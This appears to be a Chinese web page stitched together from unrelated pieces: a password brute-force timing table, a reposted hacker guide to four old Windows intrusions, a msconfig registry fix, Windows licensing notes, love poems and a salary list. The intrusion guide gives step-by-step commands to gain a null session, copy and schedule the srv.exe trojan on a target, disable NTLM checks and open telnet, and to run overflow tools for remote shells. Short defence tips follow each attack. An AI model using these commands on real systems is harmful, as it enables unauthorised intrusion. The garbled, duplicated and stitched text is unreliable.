LockDown.com近日公布了一份采用“暴力字母破解”方式获取密码的“时间列表”。列表中按照密码长度、密码组合数量以及破解攻击模式来进行破解。

如果你用一台双核心PC破解密码，最简单的数字密码－－六位（例如银行密码）瞬间搞定，八位348分钟，十位163天。

普通大小写字母－－六位33分钟，八位62天

数字＋大小写字母－－六位一个半小时，八位253天

数字＋大小写字母＋标点－－六位22小时，八位23年

由此可知，对于我们普通人来说，考虑到容易记忆以及长度，八位数字＋大小写字母密码是最安全方便的选择。另外，千万别用6位密码。


攻击模式解释：

A级：10,000 Passwords/sec－－在Pentium 100上破解Office密码的速度

B级：100,000 Passwords/sec－－在Pentium 100上破解Windows Password Cache (.PWL Files)的速度

C级：1,000,000 Passwords/sec－－在Pentium 100上破解ZIP或ARJ压缩文档的速度

D级：10,000,000 Passwords/sec－－双核心处理器PC

E级：100,000,000 Passwords/sec－－工作站级破解，或多个PC协同破解

F级：1,000,000,000 Passwords/sec－－大型计算机网络/超级计算机




密码组成模式：

10数字，26字母，52字母（大小写），62字符（数字＋大小写），96字符（包括标点符号和数字符号）

详细破解时间见列下表：

转自 www.hacker.cn

　　入侵难度：★★★（中等）

　　存在范围：★★★（中等）

　　危险指数：★★★★★（很高）

　　使用几率：★★★★★（很高）

　　好用指数：75%

　　编辑部评审意见：

　　众所周知，安全问题是一个极具时效的问题，就拿两年前百试不爽的.printer溢出和unicode来说吧，在本年度基本上就没怎么再见有还用！

　　然而似乎也有例外，针对IPC$问题的攻击就常用常新。

　　什么是IPC$漏洞：

　　IPC$是共享“命名管道”的资源，主要用于程序间的通讯。在远程管理计算机和查看计算机的共享资源时使用。利用默认的IPC$我们可以与目标主机建立一个空的连接（无需用户名与密码），而利用这个空的连接，我们就可以得目标主机上的用户列表。

　　我们总在说ipc$漏洞ipc$漏洞，其实，ipc$并不是真正意义上的漏洞，它是为了方便管理员的远程管理而开放的远程网络登陆功能，而且还打开了默认共享，即所有的逻辑盘(c$，d$，e$……)和系统目录winnt或windows(admin$)。

　　所有的这些，初衷都是为了方便管理员的管理，但好的初衷并不一定有好的收效，一些别有用心者(到底是什么用心?我也不知道，代词一个)会利用IPC$，访问共享资源，导出用户列表，并使用一些字典工具，进行密码探测，寄希望于获得更高的权限，从而达到不可告人的目的。

　　攻击工具：

　　扫描软件：流光4.71

　　木马软件：srv.exe

　　简单攻击：

　　1. 打开流光4.71

　　2. 进行扫描前的设置

　　3. 假设扫出127.0.0.1存在ipc$漏洞，我们进行如下操作

　　C:>net use \\127.0.0.1$ "" /user:"admintitrators" //这是用流光扫到的密码

　　C:>copy srv.exe \\127.0.0.1$ //先复制srv.exe上去，在流光的Tools目录就有

　　出现如下提示：

　　c:

　　已复制 1 个文件

　　C:>net time \\127.0.0.1 //查时间，这里的时间是指对方计算机的，也就是我们要入侵的127.0.0.1的时间，还有要提醒大家要注意的一点是，请把时间转换为24小时制

　　C:>at \\127.0.0.1 11:05 srv.exe //用at命令启动srv.exe

　　C:>net time \\127.0.0.1 //再查查够时间没有

　　C:>telnet 127.0.0.1 99 //我们telnet吧，注意端口是99，因为这里我们用的是srv.exe。

　　C:>copy ntlm.exe \\127.0.0.1$ //我们再开一个DOS窗口，把ntlm.exe上传到主机上，在流光的tools目录有

　　C:>ntlm //运行，破坏对方机器的ntlm验证模式，使我们能通过直接连接对方的telnet模式。

　　C:>

　　C:>net start telnet //然后直接用net start telnet启动telnet

　　Telnet 服务器正在启动.

　　Telnet 服务器已经启动成功。 C //成功

　　这时我们就可以直接使用TELNET 127.0.0.1连接对方了。

　　至此入侵结束。

　　如何防御：

　　1. 禁止建立空连接

　　[HKEY_LOCAL_MACHINE]

　　RestrictAnonymous = DWORD:00000001

　　2. 禁止管理共享

　　[HKEY_LOCAL_MACHINE]

　　AutoShareServer = DWORD:00000000

二、 神话Webdav

　　入侵难度：★★★（中等）

　　存在范围：★★★★（高）

　　危险指数：★★★★★（很高）

　　使用几率：★★★★（高）

　　好用指数：65%

　　编辑部评审意见：

　　由于篇幅的限制本文在组稿过程中，我们就突出一个简单而实用的方针，那么在今年3-5月左右开始的Webdav攻击热中使用的webdav攻击方法无疑应该在我们的榜单中！

　　Webdav漏洞说明：

　　Microsoft Windows 2000 支持“万维网分布式创作和版本控制 (WebDAV)”协议。RFC 2518 中定义的 WebDAV 是超文本传输协议 (HTTP) 的一组扩展，为 Internet 上计算aIIS 服务（默认情况下在 LocalSystem 上下文中运行）的安全上下文中运行。 尽管 Microsoft 已为此弱点提供了修补程序并建议客户立即安装该修补程序，但还是提供了其他的工具和预防措施，客户在评估该修补程序的影响和兼容性时可以使用这些工具和措施来阻止此弱点被利用。

　　攻击工具：

　　扫描器：Webdavscan（是一个专门用于检测IIS 5.0 服务器是否提供了对WebDAV的支持的扫描器）

　　溢出程序：wdx.exe

　　简单攻击：

　　1. 使用Webdavscan对目标进行扫描、检测！

　　2. 使用wdx.exe进行测试，这里需要注意有耐心，可以对溢出偏移量多测试几个值。

　　3. 溢出成功后，使用telnet或者是nc等连接到目标主机的7788端口。

　　如：telnet 127.0.0.1 7788

　　将出现以下提示：

　　Microsoft Windows 2000 [Version 5.00.2195] (C) 版权所有 1985-2000 Microsoft Corp. C:>

　　至此入侵结束！

　　如何防御：

　　1. 搜索注册表中的如下键：

　　HKEY_LOCAL_MACHINESVC

　　增加如下注册表键值：

　　Value name: DisableWebDAV

　　Data type: DWORD

　　Value data: 1

　　2. 使用MS提供的专用补丁！

三、毁灭者RPC

　　入侵难度：★★（低）

　　存在范围：★★★★★（很高）

　　危险指数：★★★★★（很高）

　　使用几率：★★★★（高）

　　好用指数：80%

　　编辑部评审意见：

　　小编我最爱看武侠小说了，常常看到作者这么形容一个有才华的大将：一将功成万古枯！看看案头这关于RPC蠕虫对全球经济的影响和该漏洞在漏洞领域的地位后，不由的就联系到一起了。

　　RPC漏洞简介：

　　Windows PRC Locator服务是一款映射逻辑名称到网络特定名称的名字服务。客户端使用RPC（remote procedure call）远程过程调用Locator服务，Locator服务负责把客户提交的网络名解析转换为硬盘，打印机等计算机系统上实际资源的地址。如果某一个打印机服务器逻辑名为"laserprinter"，RPC客户端调用Locator服务来找出网络名所映射的"laserprinter"，RPC客户端在调用RPC服务的时候使用网络名来提交请求。

　　不过Locator服务在接收注册信息的时候没有对Locator服务的参数进行详细检查，超长超大的参数可以导致服务程序触发缓冲区溢出，使Locator服务崩溃，精心构建提交数据可能以Locator服务进程的权限在系统上执行任意指令，而且攻击者获取的是system权限。

　　默认情况下Windows 2000域控制器上Locator服务是默认运行，而一般的windows工作站和服务器是默认是不开始这个服务，但是如果这些操作系统一旦启动了Locator服务就也存在着此漏洞。

　　攻击工具：

　　扫描工具：Locator Scanner（一个专门用来扫描此漏洞的命令行下运行的扫描程序，可以用它来扫描开放了RPC Locator服务的主机，要注意的是Locator Scanner只能扫描C 类网络地址。）

　　溢出程序：Re.exe

　　简单入侵：

　　1. 进入控制台模式（cmd模式）：使用命令：rpc 192.168.0.1 192.168.0.254

　　这样我们就找到了一个开放了Locator Service的主机，该主机的地址是：192.168.0.2。

　　提示：Locator Scanner的用法是：

　　C:>rpc IPAddress-Start IPAddress-End

　　IPAddress-Start ：扫描开始的IP地址

　　IPAddress-End：扫描结束的IP地址

　　2. 使用RPC的专用溢出工具进行溢出，其溢出后得到的权限是system权限。

　　使用命令：re -h 192.168.0.2

　　至此攻击入侵结束！

　　如何防御：

　　如果你的计算机不是windows网络的域控制器，那强烈建议你不要使用locator服务，如果已经开放了就关闭此服务，如何关闭Windows Locator服务是否运行，在Windows 2000和Windows XP系统下，打开“控制面板-管理工具-服务”查看 Remote procedure call（RPC）Locator服务是否启动，如果已经启动可以停止它，并将RPC Locator服务状态设置为“禁用”。

　　如果确实需要locator服务，那请尽快打上补丁。

四、 新贵Messager

　　入侵难度：★★★（中等）

　　存在范围：★★★★★（很高）

　　危险指数：★★★★★（很高）

　　使用几率：★★★★★（很高）

　　好用指数：85%

　　编辑部评审意见：

　　新近暴出的漏洞自然好用，唉，可怜了我的messager发送器了，以后恐怕就不能和同c段的mm聊天拉……

　　Messager漏洞简介：

　　Windows NT/2000/ XP/20003操作系统中有一个默认开放的Messenger（消息队列服务）。

　　它用于NT服务器之间进行发送和接收系统管理员或者“警报器”服务传递的消息，这个漏洞存在缓冲区堆溢出漏洞，由于在向缓冲区保存消息数据之前没有正确检查消息长度，可能被攻击者利用来进行远溢出，进行拒绝服务攻击，使计算机停止响应并自动重启，也可以执行任意代码，具体溢出问题存在于消息队列服务程序的search-by-name函数中，攻击者提交超长字符串给这个函数可造成堆溢出。

　　攻击工具：

　　扫描工具：RetinaMSGSVC.exe（来自国外著名的安全公司eeye的ms03-043 Messenger漏洞扫描器）

　　溢出工具：msgr.exe

　　简单攻击：

　　1. 打开RetinaMSGSVC.exe，开始对目标进行扫描。

　　2. 使用msgr.exe对目标进行溢出，成功后将在目标主机的9191端口绑定一个shell，便于我们进行下一步控制。

　　命令格式如：msgr.exe 192.168.0.2 0

　　3. 使用telnet命令连接到主机。

　　命令格式如：telnet 192.168.0.0.2 9191

　　至此入侵结束！

　　如何防御：

　　Messenger消息是通过NetBIOS或者RPC提交给消息服务，所以可以通过封闭NETBIOS端口(137-139)和使用防火墙过滤UDP广播包来阻挡此类消息。在边界防火墙或者个人防火墙上禁止不可信主机访问NETBIOS和RPC端口：135, 137, 138, 139 (TCP/UDP)，如果不使用messenger服务可以把它禁用。打开“开始”菜单，点击“控制面板”中的“计算机管理工具”，双击“服务”，找到并双击“Messenger”，然后点击“停止”，并在“启动类型”的下拉框中选择“已禁用”。

　　微软也已经提供了安全补丁以修复此安全漏洞，如果有具体不同的操作系统需要下载安装不同的补丁，可以通过微软网站的安全公告选择并下载安装针对您所用系统的安全补丁。

这是因为msconfig.exe存在于 %systemroot%\PCHealth\HelpCtr\Binaries 目录中，而不是
%systemroot% 或 %systemroot%\system32 ，无法省略其路径而直接运行文件名打开。我们平时之所以能够直接运行msconfig打开该程序，是因为在注册表中的

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths

键下有msconfig.exe的相关路径，起到导向功能。如果没有了msconfig.exe相关路径或者路径错误，就会导致无法直接运行文件名打开。解决方法：运行“regedit”，找到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
在右边窗口中，右击空白处，依次选择【新建】→【项】，将其名改为“MSCONFIG.EXE”。然后选中“MSCONFIG.EXE”，再在右边窗口中，双击字符串值【默认】，把数值改为“C:\Windows\PCHealth\HelpCtr\Binaries\MSConfig.exe”(根据系统所在分区自行更改)。修改后，我们就可以像以前一样直接运行msconfig打开该程序

按照今年8月1日实行的Volume Licensing 101来看，我们通常只接触到3种可以直接全新

安装的CD光盘。

1. Original Equipment Manufacturer

You may license products through an Original Equipment Manufacturer (OEM). These products, such as Windows operating system$, come installed when you purchase a new computer.

OEM软件是给电脑生产厂的版本，无需多说。

2. Full Packaged Product (FPP)–Retail Physical, shrink-wrapped boxes of licensed product that can be purchased in a local retail store or any local software retailer.

FPP就是零售版（盒装软件），这种产品的光盘的卷标都带有"FPP"字样，比如英文WXP Pro的FPP版本的光盘卷标就是WXPFPP_EN，其中WX表示是Windows XP，P是Professional （H是Home），FPP表明是零售版本，EN是表明是英语。获得途径除了在商店购买之外，（H是Home），FPP表明是零售版本，EN是表明是英语。获得途径除了在商店购买之外，某些m$DN用户也可以得到。

3. Volume Licensing for Organizations You may enjoy potentially significant savings by acquiring multiple product licenses. Depending on the size and type of your organization.

团体批量许可证（大量采购授权合约），这是为团体购买而制定的一种优惠方式。这种产品的光盘的卷标都带有"VOL"字样，取"Volume"前3个字母，以表明是批量，比如英文WXP Pro的VOL版本的光盘卷标就是WXPVOL_EN，其中WX表示是Windows XP，P是Professional（VOL没有Home版本），VOL表明是团体批量许可证版本，EN是表明是英语。获得途径主要是集团购买，某些m$DN用户也可以得到。

这种版本根据购买数量等又细分为“开放式许可证”、“选择式许可证”、“企业协议”、“学术教育许可证”等以下5种版本

?; Open License

?; Select License

?; Enterprise Agreement

?; Enterprise Subscription Agreement

?; Academic Volume Licensing

由此可见，我们平时说的什么select/corp是许可证授权方式，他的出现是为了用若干种不同级别的优惠政策卖同一种软件，通过select/corp许可证授权方式得到的xxx的光盘都是VOL这一种、是并不是有很多种，只不过是相同的VOL光盘配以不同的许可证方式；而Volume Licensing (Product) Keys，即VLK，它所指的只是一个Key（密匙），仅仅是一个为证明产品合法化、以及安装所使用的Key，因为根据VOL计划规定，VOL产品是不需要激活的！

或者说，VLK不是指一种版本，而是指这种版本在部署（deploy）过程中所需要的Key，而需要VLK这种Key的版本应该叫做VOL！只不过在实际中，没有必要强调这种叫法、称呼的准确性，加之很多人的VOL版本光盘是通过企业的选择式许可证、企业协议等方式得到的等等原因，所以才会有很多人叫他为“选择版”等等。

官方网站有一个表格，上面有一句话：“Different products require different Volume Licensing Keys (VLKs). Refer to the table below to make sure you have the correct VLK for your micro$oft product.”，我想这就很好的说明了VLK指的是Key而不是产品了。

很明显的，FPP需要激活，VOL不需要激活。

说了很多的废话，只是想让大家了解他的产品，MODOS上面的光盘，大都是FPP或者VOL光盘。

希望大家以后能标注是FPP还是VOL的产品，这样下载就会变得轻松多了，大家也就不会忙于这些冗余的概念中了。

匆忙之中难免有误，还望给与批评指正。

----------------------------------------------------

W2K_SERVER_FPP_CN_ISO这是FPP零售的，来自商店

XP_HOME_PRO_FPP_CN_ISO这是FPP零售的，PRO来自商店，HOME来自m$DN

XP_HOME_PRO_FPP_EN_ISO这是FPP零售的，都来自m$DN

XP_PRO_VOL_EN_ISO这是VOL的，来自m$DN

XP_PRO_VOL_HK_ISO这是VOL的，来自m$DN

其实大家不必在意来自哪里，只要是从正版CD上来的，无论是来自商店还是m$DN，卷标是一样的就应该没有区别！

说了很多的废话，只是想让大家了解他的产品，MODOS上面的光盘，大都是FPP或者VOL光VOL产品不多，除了Windows就是Office系列，而以上主要举的是winxp的例子，oxp可以参考一下。

想过要很真很真的爱，如果没有，就想要很好很好的健康。
如果还没有，就要很多很多的钱。
那么有吗？没有，可我依然存在，生活并不完整，却可以让我活下去。

原来真的没有什么完美的，值得我们用生命去维持。
很希望有一段故事，能让我感动，值得用时间去做等待。
也甘愿做只扑火的飞蛾，在刹那用生命燃烧辉煌。
可是有吗？没有。
或许爱情在我心中太完美，因为完美，所以无望。
一辈子或一小时，并没有多大的区别。
很想用一生去换得一次，哪怕只是一晚，也会足够。
但是，没有值得去爱的人。

不相信爱情的人，只是因为曾经沧海的心情。
人生中有太多精彩的故事，往往走不进向往的情节里,甚至聆听也是一种奢望；生命里有太多的感觉，却来不及捕捉在手，留下的是许多美丽的遗憾。

****************************

有一种爱很凄迷

有一种爱，很凄迷
有一种爱，只能远望
有一种爱，注定要成传奇... ...
有一种爱，像遥远的大海，即使被酷日蒸干了水分，
它仍会化作甘霖，遍洒饥渴的大地... ...

有一种爱，叫作痛，痛得心脏起了褶，
痛得头脑空洞无物，痛得意志麻木萧瑟...

有一种爱，叫放弃，
明知道许多事情是没有答案的，
却想找寻一个答案，真的好累...

有一种爱，叫忍让，忍让也是一种爱。
以爱的方式善待对方的缺陷，
用包容的胸怀宽恕自己的爱人，给他一个悔悟的机会，
留一个自省的空间，于平平淡淡中演绎经典，
在无声无语中融洽恩爱。
这样，即使是不传奇的爱情也将变得永恒；
再平淡的婚姻，依然一如既往令人流连。

有一种爱，叫放手
曾经天真的以为不管时间和空间的距离有多长多远，
感情一定会恒久不变，因为爱是没有理由的........
爱不能成为牵绊，所以要选择放手，
从容的让彼此走出彼此的世界。
凡事到极至，伤也会痛。
其实爱过就会懂，
彼此个性的太过坚强终究会是一起生活的阴影。
昨日的幸福已成为一种痕迹。
两人能携手走完整人生固然美好，
可陪上了一段也应心存感激了。
爱一个人不是要成为所爱的人的牵绊，
只要心中有爱，生活总是那么美好。
相遇是一种缘，相识，相恋更是一种缘，
缘起而聚，缘尽而散，放手才是真爱！
有一种爱，它的名字就叫放手！

有一种爱，叫离开
曾经以为自己的爱情能够长久，
曾经以为真心的付出就能够换来幸福。
其实错了... ...
爱情给的唯一的东西就是背叛，无情的背叛！
曾经是那么相爱的两个人，转眼陌路。
留下的是残缺不全的记忆和心痛。
没有想到结局会是这样，曾经的海誓山盟，
曾经的天长地久转眼都成了飞灰。
还记得她口中的永远，让我恍若梦中，
但梦醒的时候，才发觉她早已离开。
曾经在心中千万次的乞求她回来，回到我的身边，
回来修补我早已残缺不全的心，
但我知道那不可能。
经常惊醒于午夜梦回的黑暗中，我的心都好痛，
是思念一个人的疼痛，看着夜空中的星星，
想着远方属于你的夜，
你还好吗？一直都快乐吗？
没有我在身边是不是
有另外一个人去关心你，爱你呢？
我现在唯一的愿望只是希望再见你一面，
但我又怕见你，怕见到你，
我的心又会再一次的被捏碎。
我只有对自己说不要再去想她，不要再想了，
虽然她的影子从未离开过。
生活还是要过的。
其实有种爱叫作离开。
再见了，我的爱人。。。
如果你也是和我一样的话，朋友，
我希望你看开点，
离开不全是坏事，雨过总会天晴的。
还是希望天下的有情人都能终成眷属。

有一种爱，我们不能称之为爱情。　
虽然有同样的心动，同样的怀想，
同样乍然相见的喜悦，依依不舍的眷恋，
但世间总有一种约束，让心思沉静，
让感情不再漂泊，发乎情，只能，止乎礼。
但依然可以在阳光下享受难得的温情，
依然可以在午夜梦回时心生柔情，
依然可以相信自己的完美与可爱，
在这些温柔的情愫里。

有一种爱，可以默默的爱，
默默的理解，默默在心里装满祝福，
挥一挥手，让春草绵绵，落红成阵。
就是有这样的感情啊，
飘荡成缠绵而温暖的空气，
就是在这样无心的眷恋里，
我们认识自己也认识世间，
就是有这样无缘而有情的瞬间，
让我们轻轻的叹息，深深的爱，
虽然我们相爱，但我们，不称之为爱情。

有一种爱，永远难以启齿，
在心里长久地埋着，象百年的老窖。
那是一种怎样的折磨，又是一种怎样的煎熬，
就象碧清的湖水拦在要决堤的边缘，
满满地晃动着，晃动着。
风吹来的时候，湖面总是微微地起着波澜，
激动不已的湖水偶尔也会从堤坝上快速地流出来，
但仅仅只是那么一点点，即而又悄悄地探回头去，
湖面继续保持平静。
我惊叹堤岸的坚守，我也诧异湖水的满盈，
但我更加看好风儿的微动。
我想这爱是一种绝美的诗词，这爱是美妙的弦乐。
不能让风儿来得凶猛，
怕轻盈的湖水失去控制；
最终，让绝美的诗词成为污秽，
让美妙的弦乐发不出声响。
多想让爱发出声响啊！
可那是一种毁灭，善良绝对不充许这样；
多想让爱明白啊！
可怎么忍心看爱有为难，
情感也不能饶恕爱胡来。
就这样默默地去爱，永远放在心头来爱；
当风吹来的时候，就让湖水激动地涌出堤岸，
一点点就已足够了，
就象喝第一口的茶水，才能品出味道。

只要轻盈的湖水永远不下沉，
只要坚固的堤岸永远拦得住湖水；
相信湖水总是会泛出激情，
堤岸也总是能感到坚强。
有一种爱，永远难以启齿，
可这种爱来得持久，来得绝美... ...

　　通用电气中国医疗集团，研发，6500-7000/m,不包括福利
　　西门子核磁共振，6000/m)(包括餐补，房补)
　　通用电气医疗集团，modality specialist,5000/m
　　东芝（中国）研发中心，5900/m，房补，车补，另外有2000左右。医疗免费。
　　飞利浦东软医疗集团，4500/m，每年18个月工资。
　　雅虎中国，研发，7000/m
还有，陶氏化学IT Center 7100/m,外加800房补，餐补，分红。
　　 建行总行，硕士，4000+3000/m
　　锐捷 3500/m左右
　　南瑞 4500/m左右
　　可能LZ是个研究生，基本上不会去低薪的电器行业。
　　长虹 1500/m
　　海信 1500/m
　　TCL 1800-3000 集团内部不同公司薪水不同
　　康佳 2500/m
　　步步高 2500/m
　　不过据说家电行业的隐形收入很高，而且拿的是提成，不是奖金。

西门子家电 4500/M研发 销售：2K左右+提成
　　ABB 销售底薪4500+奖金（比底薪稍低）
　　GE 销售4K左右+奖金
　　施耐德跟ABB收入差不多
　　西门子 销售5K多一点
　　28所 第一年4万，以后看部门
　　东大金智4。3K 第一年6万，第二年8万，第三年10万

资料来源：alibaba.com